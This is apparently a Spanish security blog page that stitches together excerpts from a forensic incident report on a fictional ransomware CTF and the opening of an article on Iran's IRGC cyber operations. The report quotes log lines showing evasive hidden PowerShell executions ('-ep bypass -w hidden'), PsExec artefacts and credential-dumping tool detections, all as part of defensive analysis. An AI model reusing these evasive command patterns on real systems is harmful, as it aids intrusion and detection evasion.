4.18.24020.7 ¦ Remediation User: ¦ Security intelligence Version: AV: 1.407.622.0, AS: 1.407.622.0, NIS: 1.407.622.0 ¦ Severity ID: 5 ¦ Source ID: 3 ¦ Source Name: Real-Time Protection ¦ State: 1 ¦ Status Code: 1 ¦ Status Description: ¦ Threat ID: 2147756241 ¦ Type ID: 0 ¦ Type Name: Concrete ¦ Unused2: ¦ Unused3: ¦ Unused4: ¦ Unused5: ¦ Unused6: ¦ Unused:”

2) Ejecución de un Powershell posiblemente malicioso (p.ps1) con el usuario mshutter y desde el directorio E:\Factura. El directorio E: no es de sistema, y el nombre de factura evoca a las campañas de .iso maliciosos, que al montarse contenían .lnk u otros contenidos maliciososo:

“2024-03-22 12:26:39.331 +01:00″,”Suspicious PowerShell Parameter Substring”,”high”,”WS01.megacorp.local”,”Sysmon”,1,15784,”Cmdline: “”C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”” -ep bypass -nop -w hidden -NoExit .\f\p.ps1 ¦ Proc: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ User: MEGACORP\mshutter ¦ ParentCmdline: C:\Windows\Explorer.EXE ¦ LID: 0x5fa76c ¦ LGUID: 6A095527-648A-65FD-6CA7-5F0000000000 ¦ PID: 6996 ¦ PGUID: 6A095527-6AEF-65FD-B908-000000000900 ¦ ParentPID: 9132 ¦ ParentPGUID: 6A095527-648C-65FD-C901-000000000900 ¦ Description: Windows PowerShell ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=0499440C4B0783266183246E384C6657,SHA256=D436E66C0D092508E4B85290815AB375695FA9013C7423A3A27FED4F1ACF90BD,IMPHASH=342A7FD0A3177AE5549A5EEE99F82271″,”CurrentDirectory: E:\factura\ ¦ FileVersion: 10.0.22621.1635 (WinBuild.160101.0800) ¦ IntegrityLevel: Medium ¦ OriginalFileName: PowerShell.EXE ¦ ParentImage: C:\Windows\explorer.exe ¦ RuleName: – ¦ TerminalSessionId: 3 ¦ UtcTime: 2024-03-22 11:26:39.308″

3) Ejecución del script C:\Schtask\check-updates.ps1 (directorio no habitual)

“2024-03-22 12:33:59.473 +01:00″,”Suspicious PowerShell Parameter Substring”,”high”,”WS01.megacorp.local”,”Sysmon”,1,16141,”Cmdline: “”C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE”” -ep bypass -w hidden -NoExit C:\Schtask\check-updates.ps1 ¦ Proc: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ User: MEGACORP\localadmin ¦ ParentCmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule ¦ LID: 0x19cfe1e ¦ LGUID: 6A095527-6CA7-65FD-1EFE-9C0100000000 ¦ PID: 14128 ¦ PGUID: 6A095527-6CA7-65FD-2C09-000000000900 ¦ ParentPID: 2472 ¦ ParentPGUID: 6A095527-632E-65FD-3100-000000000900 ¦ Description: Windows PowerShell ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=0499440C4B0783266183246E384C6657,SHA256=D436E66C0D092508E4B85290815AB375695FA9013C7423A3A27FED4F1ACF90BD,IMPHASH=342A7FD0A3177AE5549A5EEE99F82271″,”CurrentDirectory: C:\Windows\system32\ ¦ FileVersion: 10.0.22621.1635 (WinBuild.160101.0800) ¦ IntegrityLevel: High ¦ OriginalFileName: PowerShell.EXE ¦ ParentImage: C:\Windows\System32\svchost.exe ¦ ParentUser: NT AUTHORITY\SYSTEM ¦ RuleName: – ¦ TerminalSessionId: 0 ¦ UtcTime: 2024-03-22 11:33:59.452″

El fichero está en la MFT, por lo que se solicita a la Organización:

2024-01-21 01:03:25                2024-03-22 19:47:45      2024-03-22 11:31:55       2024-03-22 11:31:55       258         258         ps1         \Schtask\check-updates.ps1   

[Read more…]

Contenido

1. ¡WARNING! ¡LÉEME PRIMERO!
2. Resumen ejecutivo.
3. Antecedentes.
4. Gestión del incidente
   • 4.1. DC02 – 192.168.20.46
   • 4.2. WS02 – 192.168.20.42
   • 4.3. WS01 – 192.168.20.41
   • 4.4. SRV01
5. Conclusiones finales.
6. Línea temporal del ataque.
7. Impacto.
8. Atribución.
9. Lecciones aprendidas.
10. Anexo A: IOC.
11. FAQ (del meta, no del incidente).

4.2. WS02 – 192.168.20.42

Se ejecuta la herramienta Hayabusa sobre los logs, encontrando las siguientes alertas:

──────────────────────────────────────╮

│ Top critical alerts:                   Top high alerts:                                                    │

├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤

│ n/a                          Suspicious Eventlog Clearing or Configuration Change Activity (298) │

| n/a                                    ETW Trace Evasion Activity (3)                                      │

│ n/a                                    Important Log File Cleared (2)                                      │

│ n/a                                    Log Cleared (1)                                                     │

│ n/a                                    n/a                                                                 │

├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

│ Top medium alerts:                     Top low alerts:                                                     │

├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

│ ISO Image Mounted (167)                n/a                                                                 │

│ Reg Key Value Set (Sysmon Alert) (8)   n/a                                                                 │

│ HackTool – LaZagne Execution (7)       n/a                                                                 │

│ Log File Cleared (2)                   n/a                                                                 │

│ Net Conn (Sysmon Alert) (2)            n/a                                                                 │

├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

Se revisan las alertas sin encontrar actividad maliciosa.

Se extrae la MFT del triaje, se convierte de binario a .csv con la herramienta mftdump, y se revisan los ficheros creados el 22/03/2024, encontrando los siguientes de interés:

1) Ejecución de PSEXEC: se observa la creación del servicio de psexec, empleado para la ejecución remota de código:

2024-03-22 11:41:07         2024-03-22 11:47:57  2024-03-22 11:41:07  2024-03-22 11:41:07  193984       exe      \Windows\PSEXESVC.exe

2024-03-22 11:41:39         2024-03-22 11:41:39  2024-03-22 11:41:39  2024-03-22 11:41:39  4290    pf       \Windows\Prefetch\PSEXESVC.EXE-AD70946C.pf

El hecho de encontrar el binario PSEXESVC.exe, así como el mismo binario en el Prefetch indica que este equipo es el que ha recibido la ejecución del comando. Se revisan los logs de eventos de System, pero han sido borrados por lo que a priori no se puede saber el origen de la comunicación.

Dado que se tienen la RAM del equipo, se hace uso del plugin windows.netscan.NetScan de Volatility para extraer las conexiones de red, pero no se encuentra ninguna conexión entrante al puerto 445/tcp (signo del uso de psexec).

Se ejecuta el comando de Linux strings realizando una búsqueda de proximidad (-A 10 –B 10 para sacar las diez líneas anteriores y posteriores a cada coincidencia), encontrando otro fichero de interés:

459592846 C:\Windows\PSEXESVC.exe

459592872 C:\Windows\PSEXESVC.exe

459593012 Collected Data

459593045 5736:133555812896042651

459593076        C:\Windows\System32\services.exe

459593113 812:133555366942172371

459593145 C:\Windows\System32\csrss.exe

459593177 596:133555366938091543

459593207       9C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

459593268 -“powershell” -ep bypass -NoExit C:\update.ps1

El fichero está en la MFT del equipo, y ha sido creado en el entorno del incidente:

2024-03-22 11:40:09                2024-03-22 12:17:53      2024-03-22 11:39:25       2024-03-22 11:39:25       278         ps1         \update.ps1

[Read more…]

Contenido

1. ¡WARNING! ¡LÉEME PRIMERO!
2. Resumen ejecutivo.
3. Antecedentes.
4. Gestión del incidente
   • 4.1. DC02 – 192.168.20.46
   • 4.2. WS02 – 192.168.20.42
   • 4.3. WS01 – 192.168.20.41
   • 4.4. SRV01
5. Conclusiones finales.
6. Línea temporal del ataque.
7. Impacto.
8. Atribución.
9. Lecciones aprendidas.
10. Anexo A: IOC.
11. FAQ (del meta, no del incidente).

Informe de Incidente BAKLAVA Parte 1

1. ¡WARNING! ¡LÉEME PRIMERO!

Este documento que estás leyendo es un informe “real” de un incidente ficticio, basado en el CTF DFIR que los compañeros Andrés Yedra y Arturo Martínez (unos fieras) montaron hace poco y que puedes encontrar aquí: https://ctf.communia.cc (y que por supuesto puedes jugar, aunque si piensas hacerlo deja de seguir leyendo porque los spoilers son más que abundantes y se pierde toda la gracia…)

Me han pedido en muchas ocasiones un “documento de ejemplo” de gestión de un incidente, tanto desde la parte de cómo investigarlo como de la parte de cómo redactarlo. En S2 Grupo tenemos como … muchos de esos documentos, pero aunque tengas todo el cuidado del mundo anonimizándolos siempre se corre un riesgo, así que hemos decidido partir de un incidente sintético. Disfruta y aprende, que el gusanillo del DFIR tiene lo suyo ;)

[Nota: todo lo que veais entre corchetes como notas… son eso, notas que no aparecerían en un documento formal, pero que creo que son de utilidad para aclarar alguna duda y sacarle el máximo provecho al análisis].

2. Resumen ejecutivo

El 22 de marzo de 2024 a las 15:30h Megacorp entra en contacto con nosotros porque ha sufrido un incidente de ransomware. Se despliega un equipo de respuesta ante incidentes, que obtiene evidencias de varios de los servidores y puestos de usuario de la Organización

Los análisis llevados a cabo permiten determinar que los atacantes enviaron un correo malicioso a uno de los usuarios de la Organización. Dicho correo tenía un enlace a un documento malicioso, que el usuario abrió infectando su puesto de usuario.

Los atacantes fueron capaces de obtener privilegios gracias a un fallo en los permisos de un directorio del equipo, y gracias a esos privilegios pudieron infectar otro equipo de usuario.

En dicho equipo realizan un ataque contra el dominio Windows que les permite obtener otro usuario privilegiado, con el que inician sesión en el servidor de datos, deshabilitan el antivirus y obtienen las credenciales existentes en el mismo.  De la misma forma, con otro usuario privilegiado logran robar una copia de todos los datos de las cuentas de usuario de la Organización (incluida una copia cifrada de las contraseñas).

Con dichas credenciales inician sesión en el controlador de dominio, y roban una base de datos de contraseñas empleada por IT (fichero de KeePass). A continuación, descargan el ransomware y lo detonan, cifrando ficheros del servidor.

Se tiene una confianza alta de que los atacantes no han realizado más actividades maliciosas en otros equipos de la Organización. Sin embargo, se recomienda un cambio generalizado de todas las contraseñas (con énfasis en aquellas cuentas con privilegios), así como restaurar desde las copias de seguridad de los servidores a una fecha anterior a las 13:00h del 22 de marzo de 2024.

[Read more…]

Este artículo es la segunda entrega de la serie dedicada a explorar los Actores Estado más activos de los últimos años, con el propósito de comprender en profundidad sus operaciones, modus operandi, victimología y otros aspectos clave. En esta entrega, revisaremos las operaciones ciber de los Cuerpos de la Guardia Revolucionaria Islámica de Irán (IRGC).

Antes de profundizar en el tema, es clave entender cómo está estructurado el gobierno de Irán en la actualidad, ya que su configuración influye directamente en su política y estrategia.

Esta se basa en la distribución de poder. En primer lugar, el Líder Supremo es el máximo responsable en las Fuerzas Armadas y tiene el poder de declarar la guerra o aprobar operaciones militares, entre otras. Antes de declarar cualquier operación militar, este informa al Consejo Supremo de Seguridad Nacional (SCNS), quien es el cuerpo responsable de la política exterior y doméstica, y está compuesto por sus secretarios, asignados por el Líder Supremo, y comandantes o miembros de diferentes instituciones  militares y servicios de seguridad iraníes.

El SCNS informa tanto al Staff General de las Fuerzas Armadas, como al Mando de Khatemolanbia (KCHP), quienes, a su vez, se comunicarán con sus servicios correspondientes, ya sean el IRGC (principal ejército de Irán) o ARTESH. Por otro lado, Irán también tiene un presidente al frente del poder ejecutivo; sin embargo, este no ejerce control sobre las fuerzas armadas, lo que lo convierte en el único país donde el poder ejecutivo carece de dicha autoridad, según agencias públicas de EE. UU.

[Read more…]